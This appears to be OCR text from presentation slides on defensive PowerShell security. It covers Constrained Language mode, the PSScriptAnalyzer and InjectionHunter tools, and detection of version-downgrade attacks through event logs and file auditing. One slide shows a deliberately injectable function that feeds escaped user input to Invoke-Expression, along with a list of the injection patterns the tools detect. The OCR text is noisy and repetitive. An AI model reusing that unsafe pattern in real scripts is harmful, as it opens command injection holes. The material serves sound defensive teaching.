Cannot invoke method. Method invocation is supported only on core types in this language mode. At C:\temp\trusted.ps1:1 char:1		
Cannot invoke method. Method invocation is supported only on core types in this language mode. At C:\temp\trusted.ps1:1 char:1 + [System.Runtime.InteropServices.Marshal]::ReadByte(1234) + CategoryInfo : InvalidOperation: (:) [], RuntimeException		×


POWERSHELL CONSTRAINED LANGUAGE RESTRICTIONS

- Language elements that provide access to Win32 APIs
- COM objects
- .NET methods, property setters, types, and conversions
- Add-Type
- XAML-based workflows
- PowerShell Classes (because they create .NET classes)
- DSC configuration declarations

Constrained Language removes the **language capabilities** that make PowerShell useful for attackers. It is not a **RBAC sandbox** like JEA.

Like cmd.exe, it is designed to allow interactive administration, and therefore still allows access to executables and cmdlets.

SECURE CODING



https://blogs.msdn.microsoft.com/powershell/2013/12/16/powershell-security-best-practices/

... AT SCALE



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5 , 408 Downloads of 1.15.0

2017-06-21 Last published

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PSScriptAnalyzer 1.15.0

PSScriptAnalyzer provides script analysis and checks for potential code defects in the scripts by applying a group of built-in or customized rules on the scripts being analyzed.

Inspect

PS> Save-Module -Name PSScriptAnalyzer -Path <path>

Install

PS> Install-Module -Name PSScriptAnalyzer

Deploy

Deploy to Azure Automation

See Documentation for more details.

Release Notes

Added

- (#780) `Range` parameter to the `Invoke-Formatter` cmdlet. The user can specify the range in which formatting should be applied. The primary usage for this parameter is to be used with editors that request selection formatting.
- (#782, #788) Allman style, Stroustrup style and one true brace style (OTBS) code formatting presets.
- (#790) `Kind` switch to `PSUseConsistentIndentation` rule to provide tabbed indentation.

Fixed

- (#781, #784) 'NewLineAfer' switch behavior in 'PSPlaceCloseBrace' rule. When the switch is set to '\$false', the emitted suggested corrections enforce branching control statements to be on the same line as their preceding closing braces. On the other hand when the switch is set to '\$true', the emitted suggested corrections enforce branching controls statements to be on the next line.

https://github.com/PowerShell/PSScriptAnalyzer

POWERSHELL INJECTION HUNTER

D:\lee\IniectionHunter\Tests [10.0.15063.0 (WinBuild.160101.0800)] - 🗆 PS:18 > Invoke-Pester Describing Tests for expression injection [+] Should detect Invoke-Expression 279ms Should detect Invoke-Expression alias 281ms Should detect InvokeScript 277ms Should detect CreateNestedPipeline 289ms [+] Should detect AddScript 283ms [+] Should detect Add-Type injection 318ms Should detect Add-Type injection w/ parameter 315ms Should detect Add-Type injection w/ variable 310ms Should allow Add-Type w/ constant expression variable 306ms [+] Should allow Add-Type w/ constant expression inline 320ms Describing Tests for command injection [+] Should detect PowerShell injection 334ms Should detect PowerShell injection w/o parameter 340ms Should detect CMD injection 319ms [+] Should allow non-injected commands 276ms Should detect ScriptBlock.Create injection 304ms Should detect NewScriptBlock injection 289ms [+] Should detect Newscriptbrock Injection 29ms Descripting Tests for method injection [+] Should detect Foreach-Object injection 391ms [+] Should allow Foreach-Object w/ script block 287ms [+] Should allow Foreach-Object w/ constant member access 303ms [+] Should detect static property injection 275ms [+] Should detect method injection w/ parens 297ms [+] Should detect method injection w/ parens 297ms Should detect method injection w/ Invoke 278ms Should detect ExpandString injection via ExecutionContext 310ms Should detect ExpandString injection via SessionState 290ms [+] should detect unsafe escaping - single quotes 325ms Should detect unsafe escaping - double quotes 293ms Tests completed in 7.9s Passed: 26 Failed: 0 Skipped: 0 Pending: 0 Inconclusive: 0 PS:19 > _

https://blogs.msdn.com/b/PowerShell

INTEGRATION WITH VISUAL STUDIO CODE

1 function Thyoke-UnsafeEscape	- 🗆	×
<pre>Oreferences function Invoke-UnsafeEscape function Invoke-UnsafeEscape function Invoke-UnsafeEscape function Invoke-UnsafeEscape function Invoke-UnsafeEscape function Invoke-UnsafeEscape function Invoke-UnsafeEscape</pre>		
<pre> function Invoke-UnsafeEscape { function Invoke-UnsafeEscape { param(\$UserInput) \$escaped = \$UserInput -replace "'", "''" Invoke-Expression "Get-Process -Name '\$escaped'" I10 % foo fo Invoke-Expression "Get-Process -Name '\$escaped'" I10 % foo [PSScriptAnalyzer] Possible unsafe use of input escaping. Varia bles may be used directly for dynamic parameter arguments, spla tting can be used for dynamic parameter names, and the invocati on operator can be used for dynamic command names. If content e scaping is truly needed, PowerShell has several valid quote cha racters, so [System.Management.Automation.Language.CodeGenerat ion]::Escape* should be used instead. (InjectionRisk.UnsafeEsca ping) jescaped = \$UserInput -replace "'", "''" </pre>		•••
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<pre>18 18 19 \$escaped = \$UserInput -replace "'", "'''"</pre>		
19 <pre>\$escaped = \$UserInput -replace "!", "!!"</pre>		
20 Invoke-Expression "Get-Process -Name '\$escaped'"		

· •		
S 0 ▲ 4 Ln 19. Col 1 Spaces: 4 UTF-8 CRLF PowerShell		



WATCH FOR DOWNGRADE ATTACKS

Event Log

As a detection mechanism, the "Windows PowerShell" classic event log has event ID 400. This is the "Engine Lifecycle" event, and includes the Engine Version. Here is an example query to find lower versions of the PowerShell engine being loaded:

```
001 Get-WinEvent -LogName "Windows PowerShell" |
002 Where-Object Id -eq 400 |
003 Foreach-Object {
004 $version = [Version] ($_.Message -replace '(?s).*EngineVersion=([\d\.]+)*.*','$1')
005 if($version -lt ([Version] "5.0")) { $_ }
006 }
```

AppLocker / File Auditing

When the CLR loads PowerShell assemblies, it will first load the managed assemblies from the GAC (if they are available). It will also load the native images that contain pre-jitted code if the assemblies are NGEN'd (which they are). Here is what loading PowerShell v2 looks like:

File Edit Event Filter	Tools Options Help
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Time Process Name	PID Operation Path
7:03:0 Z PowerShell.exe	10892 🗟 Create File C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0_31bf3856ad364e35\System.Management.Automation.dll
7:03:0 Z PowerShell.exe	10892 🔂 Query Security File C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0 31bf3856ad364e35\System.Management.Automation.dll
7:03:0 Z PowerShell.exe	10892 🔂 Create File MappC: Windows \assembly \GAC MSIL\System. Management Automation \1.0.0.0 31bf3856ad364e35\System. Management Automation.dll
7:03:0 Z PowerShell.exe	10892 🔂 Create File Mapp C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0_31bf3856ad364e35\System.Management.Automation.dll
7:03:0 Z PowerShell.exe	10892 Create File C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 🔁 PowerShell.exe	10892 🔂 Query Basic InforC:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b 1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 Z PowerShell.exe	10892 🔂 Close File C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 🔁 PowerShell.exe	10892 🔂 Create File C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b 1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 🛃 PowerShell.exe	10892 🔜 Query Security File C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 🔁 PowerShell.exe	10892 🔂 Create File MappC:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b 1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 🚬 PowerShell.exe	10892 🗒 Create File MappC:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 Z PowerShell.exe	10892 🗒 Query EAFile C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 🔁 PowerShell.exe	10892 🗒 Query Stream InfC:Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 Z PowerShell.exe	10892 🔂 CloseFile C:\Windows\assembly\NativeImages_v2.0.50727_64\System.Management.A#\&b 1355a03394301941edcbb9190e165b\System.Management.Automation.
7:03:0 Z PowerShell.exe	10892 CreateFile C:\Windows\assembly\GAC MSIL\System.Management.Automation\1.0.0.0 31bf3856ad364e35

These can either be an audit trigger, or can be blocked outright.

http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/

They promised us freedom.

Chris Thompson @retBandit

But delivered slavery.

.....

POWERSHELL: THE ULTIMATE ATTACKER HONEYPOT



Matt Graeber @mattifestation



The security transparency is so good in PowerShell that I'm investing in other languages/frameworks w/ less/no security insight.

4:37 PM - 8 Sep 2017

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